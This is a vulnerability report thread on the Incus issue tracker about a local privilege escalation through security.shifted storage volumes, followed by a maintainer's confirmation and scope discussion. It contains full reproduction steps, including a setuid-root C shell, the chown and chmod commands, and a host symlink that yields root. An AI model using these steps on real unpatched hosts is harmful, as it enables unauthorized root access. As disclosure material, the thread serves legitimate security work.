Local privilege escalation: a local unprivileged user in a restricted project may obtain host root privileges under certain conditions.

[abdodz1234]

Is there an existing issue for this?

• There is no existing issue for this bug

Is this happening on an up to date version of Incus?

• This is happening on a supported version of Incus

Incus system details

tested on  debian 13 & archlinux

Instance details

No response

Instance log

No response

Current behavior

No response

Expected behavior

No response

Steps to reproduce

incus launch images:alpine/edge ct1
incus storage volume create default data
incus config device add ct1 test disk pool=default source=data path=/data
incus storage volume set default data security.shifted=true


cat shell.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);

    system("su");
}

gcc shell.c -o shell
incus file push shell  ct1/data/
incus exec ct1 -- chown 0:0 /data/shell
incus exec ct1 -- chmod 4755 /data/shell
ln -s /var/lib/incus/storage-pools/default/custom/user-1000_data/shell sh
./sh

[stgraber]

Got a tentative fix for this. I've also confirmed that the existing mitigation we have on container volumes do work properly, so this appears to be limited to storage volumes.

We'll be cherry-picking that one immediately to both stable and lts packages given the effect it has on those using incus-user with filesystems supporting VFS idmap (environments where VFS idmap isn't available can't use security.shifted and are therefore immune).

[abdodz1234]

Got a tentative fix for this. I've also confirmed that the existing mitigation we have on container volumes do work properly, so this appears to be limited to storage volumes.

We'll be cherry-picking that one immediately to both stable and lts packages given the effect it has on those using incus-user with filesystems supporting VFS idmap (environments where VFS idmap isn't available can't use security.shifted and are therefore immune).

also on normal mounted host directory with shift=true + without nosuid options

[stgraber]

Hmm, that shouldn't be possible though:

foo@castiana:~$ incus config device add d13 test disk source=/home/foo/blah/ path=/mnt/blah shift=true
Error: Failed to start device "test": The "shift" property cannot be used with a restricted source path

We specifically prevent the use of the shift property within restricted projects to avoid that attack.

[abdodz1234]

this with incus-admin or root if user setup ssh key in container & private key stored in host:
ssh user@ct1

[stgraber]

Right, a fully privileged Incus user in a non-restricted user can absolutely pass any path from the host to the container with shifting. But that user can also create a privileged container or pass raw disk devices in, so there is no expectation of isolation in that scenario.

[stgraber]

It's really the unprivileged (not incus-admin) user in a correctly restricted project where we want to ensure that they can't escalate privilege on the system (outside of system resource DoS that is).